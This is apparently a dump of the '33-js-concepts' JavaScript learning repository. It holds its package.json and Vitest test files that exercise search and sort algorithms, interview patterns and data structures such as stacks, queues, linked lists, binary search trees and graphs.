================================================ { "name": "33-js-concepts", "version": "1.0.0", "description": "A curated collection of 33 essential JavaScript concepts every developer should master. Includes comprehensive learning resources, articles, videos, and interactive code examples covering everything from call stack and closures to async/await and design patterns.", "main": "index.js", "author": { "name": "Leonardo Maldonado", "url": "https://github.com/leonardomso" }, "license": "MIT", "bugs": { "url": "https://github.com/leonardomso/33-js-concepts/issues" }, "homepage": "https://github.com/leonardomso/33-js-concepts#readme", "scripts": { "test": "vitest run", "test:watch": "vitest", "test:coverage": "vitest run --coverage", "docs": "cd docs && npx mintlify dev", "docs:build": "cd docs && npx mintlify build" }, "repository": { "type": "git", "url": "git+https://github.com/leonardomso/33-js-concepts.git" }, "keywords": [ "javascript", "javascript-concepts", "javascript-learning", "javascript-tutorial", "learn-javascript", "closures", "promises", "async-await", "event-loop", "prototypes", "scope", "hoisting", "coercion", "this-keyword", "call-stack", "higher-order-functions", "functional-programming", "design-patterns", "data-structures", "algorithms", "es6", "ecmascript", "web-development", "frontend", "nodejs", "programming", "developer-resources", "interview-preparation" ], "devDependencies": { "@vitest/coverage-v8": "^4.0.16", "jsdom": "^27.4.0", "vitest": "^4.0.16" } } ================================================ FILE: tests/advanced-topics/algorithms-big-o/algorithms-big-o.test.js ================================================ import { describe, it, expect } from 'vitest' // ============================================ // SEARCHING ALGORITHMS // ============================================ // Linear Search - O(n) function linearSearch(arr, target) { for (let i = 0; i < arr.length; i++) { if (arr[i] === target) return i } return -1 } // Binary Search - O(log n) function binarySearch(arr, target) { let left = 0 let right = arr.length - 1 while (left <= right) { const mid = Math.floor((left + right) / 2) if (arr[mid] === target) return mid if (arr[mid] < target) left = mid + 1 else right = mid - 1 } return -1 } // ============================================ // SORTING ALGORITHMS // ============================================ // Bubble Sort - O(n²) average/worst, O(n) best with early termination function bubbleSort(arr) { const result = [...arr] const n = result.length for (let i = 0; i < n; i++) { let swapped = false for (let j = 0; j < n - i - 1; j++) { if (result[j] > result[j + 1]) { [result[j], result[j + 1]] = [result[j + 1], result[j]] swapped = true } } // If no swaps occurred, array is sorted if (!swapped) break } return result } // Merge Sort - O(n log n) function mergeSort(arr) { if (arr.length <= 1) return arr const mid = Math.floor(arr.length / 2) const left = mergeSort(arr.slice(0, mid)) const right = mergeSort(arr.slice(mid)) return merge(left, right) } function merge(left, right) { const result = [] let i = 0 let j = 0 while (i < left.length && j < right.length) { if (left[i] <= right[j]) { result.push(left[i]) i++ } else { result.push(right[j]) j++ } } return result.concat(left.slice(i)).concat(right.slice(j)) } // ============================================ // INTERVIEW PATTERNS // ============================================ // Two Pointers - Find pair that sums to target function twoSum(arr, target) { let left = 0 let right = arr.length - 1 while (left < right) { const sum = arr[left] + arr[right] if (sum === target) return [left, right] if (sum < target) left++ else right-- } return null } // Sliding Window - Maximum sum of k consecutive elements function maxSumSubarray(arr, k) { if (arr.length < k) return null let windowSum = 0 for (let i = 0; i < k; i++) { windowSum += arr[i] } let maxSum = windowSum for (let i = k; i < arr.length; i++) { windowSum = windowSum - arr[i - k] + arr[i] maxSum = Math.max(maxSum, windowSum) } return maxSum } // Frequency Counter - Check anagrams function isAnagram(str1, str2) { if (str1.length !== str2.length) return false const freq = {} for (const char of str1) { freq[char] = (freq[char] || 0) + 1 } for (const char of str2) { if (!freq[char]) return false freq[char]-- } return true } // Has Duplicates - O(n) with Set function hasDuplicates(arr) { const seen = new Set() for (const item of arr) { if (seen.has(item)) return true seen.add(item) } return false } // Longest Unique Substring - Sliding Window function longestUniqueSubstring(s) { const seen = new Set() let maxLen = 0 let left = 0 for (let right = 0; right < s.length; right++) { while (seen.has(s[right])) { seen.delete(s[left]) left++ } seen.add(s[right]) maxLen = Math.max(maxLen, right - left + 1) } return maxLen } // ============================================ // TESTS // ============================================ describe('Algorithms & Big O', () => { describe('Searching Algorithms', () => { describe('Linear Search', () => { it('should find element at beginning', () => { expect(linearSearch([1, 2, 3, 4, 5], 1)).toBe(0) }) it('should find element at end', () => { expect(linearSearch([1, 2, 3, 4, 5], 5)).toBe(4) }) it('should find element in middle', () => { expect(linearSearch([3, 7, 1, 9, 4], 9)).toBe(3) }) it('should return -1 when element not found', () => { expect(linearSearch([1, 2, 3, 4, 5], 10)).toBe(-1) }) it('should handle empty array', () => { expect(linearSearch([], 1)).toBe(-1) }) it('should find first occurrence of duplicates', () => { expect(linearSearch([1, 2, 3, 2, 5], 2)).toBe(1) }) }) describe('Binary Search', () => { it('should find element in sorted array', () => { expect(binarySearch([1, 3, 5, 7, 9, 11, 13], 9)).toBe(4) }) it('should find first element', () => { expect(binarySearch([1, 3, 5, 7, 9], 1)).toBe(0) }) it('should find last element', () => { expect(binarySearch([1, 3, 5, 7, 9], 9)).toBe(4) }) it('should return -1 when element not found', () => { expect(binarySearch([1, 3, 5, 7, 9], 6)).toBe(-1) }) it('should handle single element array - found', () => { expect(binarySearch([5], 5)).toBe(0) }) it('should handle single element array - not found', () => { expect(binarySearch([5], 3)).toBe(-1) }) it('should handle empty array', () => { expect(binarySearch([], 5)).toBe(-1) }) it('should work with large sorted array', () => { const arr = Array.from({ length: 1000 }, (_, i) => i * 2) // [0, 2, 4, ..., 1998] expect(binarySearch(arr, 500)).toBe(250) expect(binarySearch(arr, 501)).toBe(-1) }) }) }) describe('Sorting Algorithms', () => { describe('Bubble Sort', () => { it('should sort array in ascending order', () => { expect(bubbleSort([5, 3, 8, 4, 2])).toEqual([2, 3, 4, 5, 8]) }) it('should handle already sorted array', () => { expect(bubbleSort([1, 2, 3, 4, 5])).toEqual([1, 2, 3, 4, 5]) }) it('should handle reverse sorted array', () => { expect(bubbleSort([5, 4, 3, 2, 1])).toEqual([1, 2, 3, 4, 5]) }) it('should handle array with duplicates', () => { expect(bubbleSort([3, 1, 4, 1, 5, 9, 2, 6])).toEqual([1, 1, 2, 3, 4, 5, 6, 9]) }) it('should handle single element', () => { expect(bubbleSort([42])).toEqual([42]) }) it('should handle empty array', () => { expect(bubbleSort([])).toEqual([]) }) it('should not mutate original array', () => { const original = [3, 1, 4, 1, 5] bubbleSort(original) expect(original).toEqual([3, 1, 4, 1, 5]) }) it('should handle negative numbers', () => { expect(bubbleSort([-3, -1, -4, -1, -5])).toEqual([-5, -4, -3, -1, -1]) }) it('should terminate early on already sorted array (O(n) best case)', () => { // This test verifies the early termination optimization works // On an already sorted array, only one pass is needed const sorted = [1, 2, 3, 4, 5] expect(bubbleSort(sorted)).toEqual([1, 2, 3, 4, 5]) }) }) describe('Merge Sort', () => { it('should sort array in ascending order', () => { expect(mergeSort([38, 27, 43, 3, 9, 82, 10])).toEqual([3, 9, 10, 27, 38, 43, 82]) }) it('should handle already sorted array', () => { expect(mergeSort([1, 2, 3, 4, 5])).toEqual([1, 2, 3, 4, 5]) }) it('should handle reverse sorted array', () => { expect(mergeSort([5, 4, 3, 2, 1])).toEqual([1, 2, 3, 4, 5]) }) it('should handle array with duplicates', () => { expect(mergeSort([3, 1, 4, 1, 5, 9, 2, 6])).toEqual([1, 1, 2, 3, 4, 5, 6, 9]) }) it('should handle single element', () => { expect(mergeSort([42])).toEqual([42]) }) it('should handle empty array', () => { expect(mergeSort([])).toEqual([]) }) it('should handle negative numbers', () => { expect(mergeSort([-3, 1, -4, 1, -5, 9])).toEqual([-5, -4, -3, 1, 1, 9]) }) it('should maintain stability for equal elements', () => { // Merge sort is stable - equal elements maintain relative order const result = mergeSort([3, 1, 2, 1]) expect(result).toEqual([1, 1, 2, 3]) }) }) }) describe('Interview Patterns', () => { describe('Two Pointers - Two Sum', () => { it('should find pair that sums to target', () => { expect(twoSum([1, 3, 5, 7, 9], 12)).toEqual([1, 4]) // 3 + 9 = 12 }) it('should find pair at extremes', () => { expect(twoSum([1, 2, 3, 4, 5], 6)).toEqual([0, 4]) // 1 + 5 = 6 }) it('should find adjacent pair', () => { expect(twoSum([1, 2, 3, 4, 5], 9)).toEqual([3, 4]) // 4 + 5 = 9 }) it('should return null when no pair exists', () => { expect(twoSum([1, 2, 3, 4, 5], 100)).toBe(null) }) it('should handle minimum size array', () => { expect(twoSum([3, 7], 10)).toEqual([0, 1]) }) it('should return null for single element', () => { expect(twoSum([5], 10)).toBe(null) }) }) describe('Sliding Window - Max Sum Subarray', () => { it('should find maximum sum of k consecutive elements', () => { expect(maxSumSubarray([2, 1, 5, 1, 3, 2], 3)).toBe(9) // 5 + 1 + 3 }) it('should handle window at beginning', () => { expect(maxSumSubarray([9, 1, 1, 1, 1, 1], 2)).toBe(10) // 9 + 1 }) it('should handle window at end', () => { expect(maxSumSubarray([1, 1, 1, 1, 9, 8], 2)).toBe(17) // 9 + 8 }) it('should handle k equal to array length', () => { expect(maxSumSubarray([1, 2, 3], 3)).toBe(6) }) it('should return null if array shorter than k', () => { expect(maxSumSubarray([1, 2], 3)).toBe(null) }) it('should handle negative numbers', () => { expect(maxSumSubarray([-1, -2, 5, 6, -3], 2)).toBe(11) // 5 + 6 }) it('should handle all negative numbers', () => { expect(maxSumSubarray([-5, -3, -8, -2], 2)).toBe(-8) // -5 + -3 = -8 is max }) }) describe('Frequency Counter - Anagram Check', () => { it('should return true for valid anagrams', () => { expect(isAnagram('listen', 'silent')).toBe(true) }) it('should return true for same string', () => { expect(isAnagram('hello', 'hello')).toBe(true) }) it('should return false for different lengths', () => { expect(isAnagram('hello', 'helloo')).toBe(false) }) it('should return false for non-anagrams', () => { expect(isAnagram('hello', 'world')).toBe(false) }) it('should handle empty strings', () => { expect(isAnagram('', '')).toBe(true) }) it('should be case sensitive', () => { expect(isAnagram('Listen', 'Silent')).toBe(false) }) it('should handle repeated characters', () => { expect(isAnagram('aab', 'baa')).toBe(true) expect(isAnagram('aab', 'bba')).toBe(false) }) it('should handle single characters', () => { expect(isAnagram('a', 'a')).toBe(true) expect(isAnagram('a', 'b')).toBe(false) }) }) describe('Has Duplicates', () => { it('should return true when duplicates exist', () => { expect(hasDuplicates([1, 2, 3, 2, 5])).toBe(true) }) it('should return false when no duplicates', () => { expect(hasDuplicates([1, 2, 3, 4, 5])).toBe(false) }) it('should handle empty array', () => { expect(hasDuplicates([])).toBe(false) }) it('should handle single element', () => { expect(hasDuplicates([1])).toBe(false) }) it('should detect duplicates at beginning', () => { expect(hasDuplicates([1, 1, 2, 3, 4])).toBe(true) }) it('should detect duplicates at end', () => { expect(hasDuplicates([1, 2, 3, 4, 4])).toBe(true) }) it('should work with strings', () => { expect(hasDuplicates(['a', 'b', 'c', 'a'])).toBe(true) expect(hasDuplicates(['a', 'b', 'c', 'd'])).toBe(false) }) }) describe('Longest Unique Substring', () => { it('should find longest substring without repeating characters', () => { expect(longestUniqueSubstring('abcabcbb')).toBe(3) // "abc" }) it('should handle all same characters', () => { expect(longestUniqueSubstring('bbbbb')).toBe(1) }) it('should handle unique characters at end', () => { expect(longestUniqueSubstring('pwwkew')).toBe(3) // "wke" }) it('should handle empty string', () => { expect(longestUniqueSubstring('')).toBe(0) }) it('should handle single character', () => { expect(longestUniqueSubstring('a')).toBe(1) }) it('should handle all unique characters', () => { expect(longestUniqueSubstring('abcdef')).toBe(6) }) it('should handle repeating pattern', () => { expect(longestUniqueSubstring('abab')).toBe(2) }) }) }) describe('Big O Concepts', () => { describe('Array operations complexity', () => { it('should demonstrate O(1) array access', () => { const arr = [1, 2, 3, 4, 5] // Direct index access is O(1) expect(arr[0]).toBe(1) expect(arr[4]).toBe(5) expect(arr[2]).toBe(3) }) it('should demonstrate O(1) push and pop', () => { const arr = [1, 2, 3] arr.push(4) // O(1) expect(arr).toEqual([1, 2, 3, 4]) const popped = arr.pop() // O(1) expect(popped).toBe(4) expect(arr).toEqual([1, 2, 3]) }) it('should demonstrate O(n) shift and unshift', () => { const arr = [1, 2, 3] // These are O(n) because they require re-indexing all elements arr.unshift(0) expect(arr).toEqual([0, 1, 2, 3]) const shifted = arr.shift() expect(shifted).toBe(0) expect(arr).toEqual([1, 2, 3]) }) }) describe('Set vs Array for lookups', () => { it('should demonstrate Set.has() is faster than Array.includes() for repeated lookups', () => { const arr = Array.from({ length: 1000 }, (_, i) => i) const set = new Set(arr) // Both find the element, but Set.has() is O(1) vs Array.includes() O(n) expect(arr.includes(500)).toBe(true) expect(set.has(500)).toBe(true) expect(arr.includes(999)).toBe(true) expect(set.has(999)).toBe(true) expect(arr.includes(1001)).toBe(false) expect(set.has(1001)).toBe(false) }) }) }) }) ================================================ FILE: tests/advanced-topics/data-structures/data-structures.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Data Structures', () => { describe('Arrays', () => { it('should access elements by index in O(1)', () => { const arr = ['a', 'b', 'c', 'd', 'e'] expect(arr[0]).toBe('a') expect(arr[2]).toBe('c') expect(arr[4]).toBe('e') }) it('should add and remove from end with push/pop in O(1)', () => { const arr = [1, 2, 3] arr.push(4) expect(arr).toEqual([1, 2, 3, 4]) const popped = arr.pop() expect(popped).toBe(4) expect(arr).toEqual([1, 2, 3]) }) it('should add and remove from beginning with unshift/shift (O(n))', () => { const arr = [1, 2, 3] arr.unshift(0) expect(arr).toEqual([0, 1, 2, 3]) const shifted = arr.shift() expect(shifted).toBe(0) expect(arr).toEqual([1, 2, 3]) }) it('should search with indexOf and includes in O(n)', () => { const arr = ['apple', 'banana', 'cherry'] expect(arr.indexOf('banana')).toBe(1) expect(arr.indexOf('mango')).toBe(-1) expect(arr.includes('cherry')).toBe(true) expect(arr.includes('grape')).toBe(false) }) it('should insert in middle with splice in O(n)', () => { const arr = [1, 2, 4, 5] // Insert 3 at index 2 arr.splice(2, 0, 3) expect(arr).toEqual([1, 2, 3, 4, 5]) // Remove element at index 2 arr.splice(2, 1) expect(arr).toEqual([1, 2, 4, 5]) }) }) describe('Objects', () => { it('should access, add, and delete properties in O(1)', () => { const user = { name: 'Alice', age: 30 } // Access expect(user.name).toBe('Alice') expect(user['age']).toBe(30) // Add user.email = 'alice@example.com' expect(user.email).toBe('alice@example.com') // Delete delete user.email expect(user.email).toBe(undefined) }) it('should check for key existence', () => { const user = { name: 'Alice' } expect('name' in user).toBe(true) expect('age' in user).toBe(false) expect(user.hasOwnProperty('name')).toBe(true) }) it('should convert numeric keys to strings', () => { const obj = {} obj[1] = 'one' obj['1'] = 'one as string' // Both are the same key! expect(Object.keys(obj)).toEqual(['1']) expect(obj[1]).toBe('one as string') expect(obj['1']).toBe('one as string') }) }) describe('Map', () => { it('should use any value type as key', () => { const map = new Map() const objKey = { id: 1 } const funcKey = () => {} map.set('string', 'string key') map.set(123, 'number key') map.set(objKey, 'object key') map.set(funcKey, 'function key') map.set(true, 'boolean key') expect(map.get('string')).toBe('string key') expect(map.get(123)).toBe('number key') expect(map.get(objKey)).toBe('object key') expect(map.get(funcKey)).toBe('function key') expect(map.get(true)).toBe('boolean key') }) it('should have a size property', () => { const map = new Map() map.set('a', 1) map.set('b', 2) map.set('c', 3) expect(map.size).toBe(3) }) it('should check existence with has()', () => { const map = new Map([['key', 'value']]) expect(map.has('key')).toBe(true) expect(map.has('nonexistent')).toBe(false) }) it('should delete entries', () => { const map = new Map([['a', 1], ['b', 2]]) map.delete('a') expect(map.has('a')).toBe(false) expect(map.size).toBe(1) }) it('should maintain insertion order', () => { const map = new Map() map.set('first', 1) map.set('second', 2) map.set('third', 3) const keys = [...map.keys()] expect(keys).toEqual(['first', 'second', 'third']) }) it('should iterate with for...of', () => { const map = new Map([['a', 1], ['b', 2]]) const entries = [] for (const [key, value] of map) { entries.push([key, value]) } expect(entries).toEqual([['a', 1], ['b', 2]]) }) it('should be useful for counting occurrences', () => { function countWords(text) { const words = text.toLowerCase().split(/\s+/) const counts = new Map() for (const word of words) { counts.set(word, (counts.get(word) || 0) + 1) } return counts } const result = countWords('the cat and the dog') expect(result.get('the')).toBe(2) expect(result.get('cat')).toBe(1) expect(result.get('and')).toBe(1) }) }) describe('Set', () => { it('should store only unique values', () => { const set = new Set() set.add(1) set.add(2) set.add(2) // Duplicate - ignored set.add(3) set.add(3) // Duplicate - ignored expect(set.size).toBe(3) expect([...set]).toEqual([1, 2, 3]) }) it('should check existence with has()', () => { const set = new Set([1, 2, 3]) expect(set.has(2)).toBe(true) expect(set.has(5)).toBe(false) }) it('should remove duplicates from array', () => { const numbers = [1, 2, 2, 3, 3, 3, 4] const unique = [...new Set(numbers)] expect(unique).toEqual([1, 2, 3, 4]) }) it('should delete values', () => { const set = new Set([1, 2, 3]) set.delete(2) expect(set.has(2)).toBe(false) expect(set.size).toBe(2) }) it('should iterate in insertion order', () => { const set = new Set() set.add('first') set.add('second') set.add('third') expect([...set]).toEqual(['first', 'second', 'third']) }) it('should perform set operations (ES2024+)', () => { const a = new Set([1, 2, 3]) const b = new Set([2, 3, 4]) // Skip if ES2024 Set methods not available if (typeof a.union !== 'function') { // Manual implementation for older environments const union = new Set([...a, ...b]) expect([...union].sort()).toEqual([1, 2, 3, 4]) const intersection = new Set([...a].filter(x => b.has(x))) expect([...intersection].sort()).toEqual([2, 3]) const difference = new Set([...a].filter(x => !b.has(x))) expect([...difference]).toEqual([1]) return } // Union: elements in either set expect([...a.union(b)].sort()).toEqual([1, 2, 3, 4]) // Intersection: elements in both sets expect([...a.intersection(b)].sort()).toEqual([2, 3]) // Difference: elements in a but not in b expect([...a.difference(b)]).toEqual([1]) // Symmetric difference: elements in either but not both expect([...a.symmetricDifference(b)].sort()).toEqual([1, 4]) }) it('should check subset relationships (ES2024+)', () => { const small = new Set([1, 2]) const large = new Set([1, 2, 3, 4]) // Skip if ES2024 Set methods not available if (typeof small.isSubsetOf !== 'function') { // Manual implementation for older environments const isSubset = [...small].every(x => large.has(x)) expect(isSubset).toBe(true) const isSuperset = [...small].every(x => large.has(x)) expect(isSuperset).toBe(true) const largeIsSubsetOfSmall = [...large].every(x => small.has(x)) expect(largeIsSubsetOfSmall).toBe(false) return } expect(small.isSubsetOf(large)).toBe(true) expect(large.isSupersetOf(small)).toBe(true) expect(large.isSubsetOf(small)).toBe(false) }) }) describe('WeakMap', () => { it('should only accept objects as keys', () => { const weakMap = new WeakMap() const obj = { id: 1 } weakMap.set(obj, 'value') expect(weakMap.get(obj)).toBe('value') // Cannot use primitives as keys expect(() => weakMap.set('string', 'value')).toThrow(TypeError) }) it('should support get, set, has, delete operations', () => { const weakMap = new WeakMap() const obj = { id: 1 } weakMap.set(obj, 'data') expect(weakMap.has(obj)).toBe(true) expect(weakMap.get(obj)).toBe('data') weakMap.delete(obj) expect(weakMap.has(obj)).toBe(false) }) it('should be useful for private data pattern', () => { const privateData = new WeakMap() class User { constructor(name, password) { this.name = name privateData.set(this, { password }) } checkPassword(input) { return privateData.get(this).password === input } } const user = new User('Alice', 'secret123') expect(user.name).toBe('Alice') expect(user.password).toBe(undefined) // Not accessible expect(user.checkPassword('secret123')).toBe(true) expect(user.checkPassword('wrong')).toBe(false) }) }) describe('WeakSet', () => { it('should only accept objects as values', () => { const weakSet = new WeakSet() const obj = { id: 1 } weakSet.add(obj) expect(weakSet.has(obj)).toBe(true) // Cannot use primitives expect(() => weakSet.add('string')).toThrow(TypeError) }) it('should be useful for tracking processed objects', () => { const processed = new WeakSet() function processOnce(obj) { if (processed.has(obj)) { return 'already processed' } processed.add(obj) return 'processed' } const obj = { data: 'test' } expect(processOnce(obj)).toBe('processed') expect(processOnce(obj)).toBe('already processed') }) }) describe('Stack Implementation', () => { class Stack { constructor() { this.items = [] } push(item) { this.items.push(item) } pop() { return this.items.pop() } peek() { return this.items[this.items.length - 1] } isEmpty() { return this.items.length === 0 } size() { return this.items.length } } it('should follow LIFO (Last In, First Out)', () => { const stack = new Stack() stack.push(1) stack.push(2) stack.push(3) expect(stack.pop()).toBe(3) // Last in expect(stack.pop()).toBe(2) expect(stack.pop()).toBe(1) // First in }) it('should peek without removing', () => { const stack = new Stack() stack.push('a') stack.push('b') expect(stack.peek()).toBe('b') expect(stack.size()).toBe(2) // Still 2 items }) it('should report isEmpty correctly', () => { const stack = new Stack() expect(stack.isEmpty()).toBe(true) stack.push(1) expect(stack.isEmpty()).toBe(false) stack.pop() expect(stack.isEmpty()).toBe(true) }) it('should handle pop and peek on empty stack', () => { const stack = new Stack() expect(stack.pop()).toBe(undefined) expect(stack.peek()).toBe(undefined) expect(stack.size()).toBe(0) }) it('should solve valid parentheses problem', () => { function isValid(s) { const stack = [] const pairs = { ')': '(', ']': '[', '}': '{' } for (const char of s) { if (char in pairs) { if (stack.pop() !== pairs[char]) { return false } } else { stack.push(char) } } return stack.length === 0 } expect(isValid('()')).toBe(true) expect(isValid('()[]{}')).toBe(true) expect(isValid('([{}])')).toBe(true) expect(isValid('(]')).toBe(false) expect(isValid('([)]')).toBe(false) expect(isValid('(((')).toBe(false) }) }) describe('Queue Implementation', () => { class Queue { constructor() { this.items = [] } enqueue(item) { this.items.push(item) } dequeue() { return this.items.shift() } front() { return this.items[0] } isEmpty() { return this.items.length === 0 } size() { return this.items.length } } it('should follow FIFO (First In, First Out)', () => { const queue = new Queue() queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) expect(queue.dequeue()).toBe(1) // First in expect(queue.dequeue()).toBe(2) expect(queue.dequeue()).toBe(3) // Last in }) it('should peek at front without removing', () => { const queue = new Queue() queue.enqueue('first') queue.enqueue('second') expect(queue.front()).toBe('first') expect(queue.size()).toBe(2) // Still 2 items }) it('should report isEmpty correctly', () => { const queue = new Queue() expect(queue.isEmpty()).toBe(true) queue.enqueue(1) expect(queue.isEmpty()).toBe(false) queue.dequeue() expect(queue.isEmpty()).toBe(true) }) it('should handle dequeue and front on empty queue', () => { const queue = new Queue() expect(queue.dequeue()).toBe(undefined) expect(queue.front()).toBe(undefined) expect(queue.size()).toBe(0) }) }) describe('Linked List Implementation', () => { class Node { constructor(value) { this.value = value this.next = null } } class LinkedList { constructor() { this.head = null this.size = 0 } prepend(value) { const node = new Node(value) node.next = this.head this.head = node this.size++ } append(value) { const node = new Node(value) if (!this.head) { this.head = node } else { let current = this.head while (current.next) { current = current.next } current.next = node } this.size++ } find(value) { let current = this.head while (current) { if (current.value === value) { return current } current = current.next } return null } toArray() { const result = [] let current = this.head while (current) { result.push(current.value) current = current.next } return result } } it('should prepend elements in O(1)', () => { const list = new LinkedList() list.prepend(3) list.prepend(2) list.prepend(1) expect(list.toArray()).toEqual([1, 2, 3]) }) it('should append elements', () => { const list = new LinkedList() list.append(1) list.append(2) list.append(3) expect(list.toArray()).toEqual([1, 2, 3]) }) it('should find elements', () => { const list = new LinkedList() list.append(1) list.append(2) list.append(3) const found = list.find(2) expect(found.value).toBe(2) expect(found.next.value).toBe(3) expect(list.find(5)).toBe(null) }) it('should track size correctly', () => { const list = new LinkedList() expect(list.size).toBe(0) list.append(1) list.append(2) list.prepend(0) expect(list.size).toBe(3) }) it('should handle operations on empty list', () => { const list = new LinkedList() expect(list.head).toBe(null) expect(list.find(1)).toBe(null) expect(list.toArray()).toEqual([]) }) it('should reverse a linked list', () => { function reverseList(head) { let prev = null let current = head while (current) { const next = current.next current.next = prev prev = current current = next } return prev } const list = new LinkedList() list.append(1) list.append(2) list.append(3) list.head = reverseList(list.head) expect(list.toArray()).toEqual([3, 2, 1]) }) }) describe('Binary Search Tree Implementation', () => { class TreeNode { constructor(value) { this.value = value this.left = null this.right = null } } class BinarySearchTree { constructor() { this.root = null } insert(value) { const node = new TreeNode(value) if (!this.root) { this.root = node return } let current = this.root while (true) { if (value < current.value) { if (!current.left) { current.left = node return } current = current.left } else { if (!current.right) { current.right = node return } current = current.right } } } search(value) { let current = this.root while (current) { if (value === current.value) { return current } current = value < current.value ? current.left : current.right } return null } inOrder(node = this.root, result = []) { if (node) { this.inOrder(node.left, result) result.push(node.value) this.inOrder(node.right, result) } return result } } it('should insert values following BST property', () => { const bst = new BinarySearchTree() bst.insert(10) bst.insert(5) bst.insert(15) expect(bst.root.value).toBe(10) expect(bst.root.left.value).toBe(5) expect(bst.root.right.value).toBe(15) }) it('should search for values', () => { const bst = new BinarySearchTree() bst.insert(10) bst.insert(5) bst.insert(15) bst.insert(3) bst.insert(7) expect(bst.search(7).value).toBe(7) expect(bst.search(15).value).toBe(15) expect(bst.search(100)).toBe(null) }) it('should return sorted values with in-order traversal', () => { const bst = new BinarySearchTree() bst.insert(10) bst.insert(5) bst.insert(15) bst.insert(3) bst.insert(7) bst.insert(20) expect(bst.inOrder()).toEqual([3, 5, 7, 10, 15, 20]) }) it('should find max depth of tree', () => { function maxDepth(root) { if (!root) return 0 const leftDepth = maxDepth(root.left) const rightDepth = maxDepth(root.right) return Math.max(leftDepth, rightDepth) + 1 } const bst = new BinarySearchTree() bst.insert(10) bst.insert(5) bst.insert(15) bst.insert(3) expect(maxDepth(bst.root)).toBe(3) }) it('should handle empty tree operations', () => { const bst = new BinarySearchTree() expect(bst.root).toBe(null) expect(bst.search(10)).toBe(null) expect(bst.inOrder()).toEqual([]) }) it('should handle duplicate values (goes to right subtree)', () => { const bst = new BinarySearchTree() bst.insert(10) bst.insert(10) // Duplicate bst.insert(10) // Another duplicate // Duplicates go to the right (based on our implementation: else branch) expect(bst.root.value).toBe(10) expect(bst.root.right.value).toBe(10) expect(bst.root.right.right.value).toBe(10) expect(bst.inOrder()).toEqual([10, 10, 10]) }) }) describe('Graph Implementation', () => { class Graph { constructor() { this.adjacencyList = new Map() } addVertex(vertex) { if (!this.adjacencyList.has(vertex)) { this.adjacencyList.set(vertex, []) } } addEdge(v1, v2) { this.adjacencyList.get(v1).push(v2) this.adjacencyList.get(v2).push(v1) } bfs(start) { const visited = new Set() const queue = [start] const result = [] while (queue.length) { const vertex = queue.shift() if (visited.has(vertex)) continue visited.add(vertex) result.push(vertex) for (const neighbor of this.adjacencyList.get(vertex)) { if (!visited.has(neighbor)) { queue.push(neighbor) } } } return result } dfs(start, visited = new Set(), result = []) { if (visited.has(start)) return result visited.add(start) result.push(start) for (const neighbor of this.adjacencyList.get(start)) { this.dfs(neighbor, visited, result) } return result } } it('should add vertices and edges', () => { const graph = new Graph() graph.addVertex('A') graph.addVertex('B') graph.addVertex('C') graph.addEdge('A', 'B') graph.addEdge('A', 'C') expect(graph.adjacencyList.get('A')).toContain('B') expect(graph.adjacencyList.get('A')).toContain('C') expect(graph.adjacencyList.get('B')).toContain('A') }) it('should perform breadth-first search', () => { const graph = new Graph() graph.addVertex('A') graph.addVertex('B') graph.addVertex('C') graph.addVertex('D') graph.addEdge('A', 'B') graph.addEdge('A', 'C') graph.addEdge('B', 'D') const result = graph.bfs('A') // BFS visits level by level expect(result[0]).toBe('A') expect(result.includes('B')).toBe(true) expect(result.includes('C')).toBe(true) expect(result.includes('D')).toBe(true) }) it('should perform depth-first search', () => { const graph = new Graph() graph.addVertex('A') graph.addVertex('B') graph.addVertex('C') graph.addVertex('D') graph.addEdge('A', 'B') graph.addEdge('A', 'C') graph.addEdge('B', 'D') const result = graph.dfs('A') // DFS goes deep before wide expect(result[0]).toBe('A') expect(result.length).toBe(4) }) }) describe('Common Interview Patterns', () => { it('Two Sum - using Map for O(n) lookup', () => { function twoSum(nums, target) { const seen = new Map() for (let i = 0; i < nums.length; i++) { const complement = target - nums[i] if (seen.has(complement)) { return [seen.get(complement), i] } seen.set(nums[i], i) } return [] } expect(twoSum([2, 7, 11, 15], 9)).toEqual([0, 1]) expect(twoSum([3, 2, 4], 6)).toEqual([1, 2]) expect(twoSum([3, 3], 6)).toEqual([0, 1]) }) it('Detect cycle in linked list - Floyd\'s algorithm', () => { function hasCycle(head) { let slow = head let fast = head while (fast && fast.next) { slow = slow.next fast = fast.next.next if (slow === fast) { return true } } return false } // Create a list with cycle const node1 = { val: 1, next: null } const node2 = { val: 2, next: null } const node3 = { val: 3, next: null } node1.next = node2 node2.next = node3 node3.next = node1 // Cycle back to node1 expect(hasCycle(node1)).toBe(true) // List without cycle const a = { val: 1, next: null } const b = { val: 2, next: null } a.next = b expect(hasCycle(a)).toBe(false) }) it('Queue using two stacks', () => { class QueueFromStacks { constructor() { this.stack1 = [] this.stack2 = [] } enqueue(item) { this.stack1.push(item) } dequeue() { if (this.stack2.length === 0) { while (this.stack1.length) { this.stack2.push(this.stack1.pop()) } } return this.stack2.pop() } } const queue = new QueueFromStacks() queue.enqueue(1) queue.enqueue(2) queue.enqueue(3) expect(queue.dequeue()).toBe(1) // FIFO expect(queue.dequeue()).toBe(2) queue.enqueue(4) expect(queue.dequeue()).toBe(3) expect(queue.dequeue()).toBe(4) }) }) describe('Choosing the Right Data Structure', () => { it('should use Array for ordered data with index access', () => { const todos = ['Buy milk', 'Walk dog', 'Write code'] // O(1) access by index expect(todos[1]).toBe('Walk dog') // Easy to iterate expect(todos.map(t => t.toUpperCase())).toEqual([ 'BUY MILK', 'WALK DOG', 'WRITE CODE' ]) }) it('should use Set for unique values and fast lookup', () => { const visited = new Set() // Track unique visitors visited.add('user1') visited.add('user2') visited.add('user1') // Duplicate ignored expect(visited.size).toBe(2) expect(visited.has('user1')).toBe(true) // O(1) lookup }) it('should use Map for non-string keys or frequent updates', () => { // Using objects as keys const cache = new Map() const request1 = { url: '/api/users', method: 'GET' } const request2 = { url: '/api/posts', method: 'GET' } cache.set(request1, { data: ['user1', 'user2'] }) cache.set(request2, { data: ['post1', 'post2'] }) expect(cache.get(request1).data).toEqual(['user1', 'user2']) }) it('should use Stack for undo/redo or backtracking', () => { const history = [] // Record actions history.push('action1') history.push('action2') history.push('action3') // Undo - pop most recent const undone = history.pop() expect(undone).toBe('action3') }) it('should use Queue for task scheduling', () => { const taskQueue = [] // Add tasks taskQueue.push('task1') taskQueue.push('task2') taskQueue.push('task3') // Process in order expect(taskQueue.shift()).toBe('task1') // First added expect(taskQueue.shift()).toBe('task2') }) }) }) ================================================ FILE: tests/advanced-topics/design-patterns/design-patterns.test.js ================================================ import { describe, it, expect, vi, beforeEach } from 'vitest' 